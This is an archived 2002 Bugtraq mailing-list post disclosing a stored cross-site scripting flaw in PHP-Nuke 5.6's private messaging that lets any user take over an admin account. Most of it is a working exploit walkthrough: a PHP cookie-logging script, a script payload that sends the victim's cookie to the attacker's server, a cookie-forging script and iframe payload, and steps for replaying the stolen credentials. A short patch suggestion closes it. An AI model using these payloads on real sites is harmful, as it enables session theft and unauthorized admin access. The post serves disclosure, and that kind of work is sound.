

PHP-Nuke v5.6 – Users can compromise admin accts.

" -->

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2002-08/0226.html>

From: (delusi0n@bellsouth.net)

Date: 08/15/02

From: "<-delusion->" <delusi0n@bellsouth.net>
To: <bugtraq@securityfocus.com>, <webappsec@securirtyfocus.com>
Date: Thu, 15 Aug 2002 04:30:58 -0400

Tested on PHP-Nuke v5.6 with Mozilla on Linux
(should work on past versions and on most browsers)

Impact:

Allows any user to get admin access to a PHP-Nuke site.

Summary:

Due to a XSS flaw in PHPNuke's Private Messaging module, users can send messages with html code that will be executed without any filtering. In old PHPNuke versions XSS allowed theft of cookies which stored passwords in base64 encoding. Well PHPNuke version 5.6 encrypts the passwds in md5 before it encodes it into base64 and puts it into a cookie. This made stolen cookies useless if the attacker just tried decoding the base64 encrypted pass, because he just got the MD5 encrypted pass.

Since PHP Nuke encrypts passes in md5 and then matches the encrypted pass with the encrypted one in the database, i was able to use the md5 encrypted pass i got from the stolen cookie to authenticate myself.

PHPNuke sets cookies by base64 encoding a string that looks like this:

```
username:md5_encrypted_pass:lang
```

Since i can get the md5_encrypted pass all i have to do is launch a script that base64 encodes a string like the one above, and sets it as a cookie on my box.

SecurityFocus Bugtraq: PHP-Nuke v5.6 – Users can compromise admin accts.

Exploit:

For this exploit to work, you must create the following files in your web server's directory.

cookie.php containing this:

```
<?
$fp = fopen("cookie.txt","a");
fputs($fp, $cookie);
fclose($fp);
print "Message Not Found!"; /* this is so the admin doesnt get scared. and
thinks its some bug. */
?>
```

test.php containing:

```
<?
$admin = base64_encode("decoded_string") ;
setcookie("admin", "$admin", time()+2592000);
?>
```

You will find out what to replace decoded_string with..

1. Send an appealing private message to admin containing
<script>document.location.replace('http://yourserver/cookie.php?cookie='+document.cookie);</script>
2. Wait awhile until the admin checks the message then check cookie.txt on yer server.
3. From cookie.txt.. copy the encrypted text after admin= and before the ;
4. go to <http://www.isecurelabs.com/base64.php> paste the copied text, click decode it should give u a string like this:
username:md5_encrypted_passwd:language (language may be blank).

5. paste the decoded string into test.php like so.

```
<?
$admin = base64_encode("paste decoded string here");
setcookie("admin", "$admin", time()+2592000);
?>
```

6. Login as any user on the site

7. send private message to self containing:

```
<iframe src="http://yerver/test.php"></iframe>
```

Open the message and a cookie will now be set on yer box, but it will be configured with your server's URL.

So all u gotta do is replace yer url wit the nuked site.

8. for mozilla edit cookies.txt in yer ~/.mozilla/someprofile/something/ directory replace the url of yer server to the nuked site, for other browsers just find the Cookie from your server and edit it so

SecurityFocus Bugtraq: PHP-Nuke v5.6 – Users can compromise admin accts.

instead of showing your url it shows the url of the nuked site.

9. restart yer browser (close and open up again). go back into the nuked site and you are now admin. :D

Temp Solution:

Edit reply.php in /modules/Private_Messages/ and make \$message be stripped of html tags.

Go to line 75 in reply.php and add this line:

```
$message = strip_tags($message, '<br><b><u><i>');
```

That will remove any html tags that arent
<u> or <i>. So it will prevent the XSS.

NOTE: I wasnt able to contact the php nuke person, i couldnt find an email on their site, and when i signed up for membership i never got the password, so if u can, let them know asap so they can fix this.

Another Vulnerability Brought to you by,
delusion

<http://digital-delusions.dyn.ee>

- ***Previous message:*** Tacettin Karadeniz: "Web Shop Manager Security Vulnerability"
- ***Next in thread:*** Jelmer: "Re: PHP-Nuke v5.6 – Users can compromise admin accts."
- ***Reply:*** Jelmer: "Re: PHP-Nuke v5.6 – Users can compromise admin accts."
- ***Reply:*** : "Re: PHP-Nuke v5.6 – Users can compromise admin accts."
- ***Messages sorted by:*** [date] [thread] [subject] [author] [attachment]